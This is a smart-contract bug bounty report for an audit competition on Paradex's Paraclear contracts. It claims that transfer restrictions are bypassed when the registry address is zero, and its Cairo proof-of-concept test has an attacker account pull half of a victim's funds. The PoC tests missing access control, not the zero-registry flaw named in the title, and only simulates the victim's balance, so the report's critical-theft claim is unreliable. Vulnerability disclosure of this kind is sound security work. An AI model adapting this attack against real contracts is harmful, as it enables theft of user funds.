#46843 [SC-Critical] Bypass of Restrictions When Paraclear_transfer_registry Is Unregistered

Submitted on Jun 5th 2025 at 08:24:12 UTC by @Catchme for IOP | Paradex

  • Report ID: #46843

  • Report Type: Smart Contract

  • Report severity: Critical

  • Target: https://github.com/tradeparadex/audit-competition-may-2025/tree/main/paraclear

  • Impacts:

    • Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

    • Theft of unclaimed yield

Description

Brief/Intro

There is a critical vulnerability in the _detect_transfer_restriction and _detect_account_transfer_restriction functions that allows critical transfer and account restrictions to be bypassed if the Paraclear_transfer_registry contract address is not set or is set to a zero address.

Vulnerability Details

In TokenComponent::_detect_transfer_restriction (and similarly in _detect_account_transfer_restriction):

fn _detect_transfer_restriction(
    self: @ComponentState<TContractState>,
    sender: ContractAddress,
    recipient: ContractAddress,
    token_address: ContractAddress,
    amount: u256,
) {
    // Check if token is supported
    assert!(self.is_asset_supported(token_address), "Transfer: Token address is invalid");

    // Read transfer registry address
    let transfer_registry_address = self.Paraclear_transfer_registry.read();

    // If transfer registry is set, check restrictions
    if transfer_registry_address.is_non_zero() {
        let registry_dispatcher = IRegistryDispatcher {
            contract_address: transfer_registry_address,
        };
        let is_transfer_restricted: u8 = registry_dispatcher
            .detect_transfer_restriction(sender, recipient, amount);

        assert!(is_transfer_restricted == 0, "Transfer: Transfer is not allowed");
    }
    // No 'else' block for when transfer_registry_address is zero.
}

The if transfer_registry_address.is_non_zero() condition allows the entire restriction checking logic within the if block to be skipped if Paraclear_transfer_registry is 0x0. This means that if the Paraclear_transfer_registry has not been initialized or is intentionally set to 0x0, critical transfer restrictions defined in the external IRegistryDispatcher contract will not be enforced.

Impact Details

Bypass of Security and Compliance Controls: If the transfer_registry is intended to enforce crucial security (e.g., blacklisting malicious addresses, withdrawal limits) or regulatory compliance (e.g., AML/KYC checks, geographic restrictions) rules, these rules will be completely circumvented when the registry address is zero. This could lead to:

  • Unauthorized Fund Withdrawals/Transfers: Malicious actors could withdraw or transfer funds that should be restricted by the transfer_registry.

  • System Abuse: Users could bypass intended limits on deposits or transfers, potentially leading to system instability or manipulation.

Proof of Concept

Proof of Concept

#[test] 
fn test_poc_unauthorized_transfer_demonstrates_vulnerability() {
    let (spy, paraclear_dispatcher, oracle_dispatcher) = setup_paraclear_with_oracle();
    
    let victim = VICTIM_USER();
    let attacker = ATTACKER_USER();
    
    // Simulate victim having 1000 USDC
    let simulated_victim_balance = 100000000000_i128; // 1000 USDC
    let transfer_percentage = 50000000_i128; // 50%
    
    // Calculate theft amount
    let amount_that_would_be_stolen = (simulated_victim_balance * transfer_percentage) / 100000000_i128;
    
    println!("SIMULATION ANALYSIS:");
    println!("If victim had: {} units (1000 USDC)", simulated_victim_balance);
    println!("Transfer percentage: {} (50%)", transfer_percentage);
    println!("Amount that would be stolen: {} units (500 USDC)", amount_that_would_be_stolen);
    
    // Attacker calls function WITHOUT any authorization
    start_cheat_caller_address(paraclear_dispatcher.contract_address, attacker);
    
    let result = paraclear_dispatcher.account_transfer_partial(
        victim,
        attacker,
        transfer_percentage.try_into().unwrap(),
        0
    );
    
    stop_cheat_caller_address(paraclear_dispatcher.contract_address);
    
    // Attack succeeds due to missing access control
    assert!(result == 1, "Attack vector should still work");
    
    println!("Attack still succeeds: {} (PASS)", result);
    println!("This confirms that once victim has funds, they can be stolen!");
}

Was this helpful?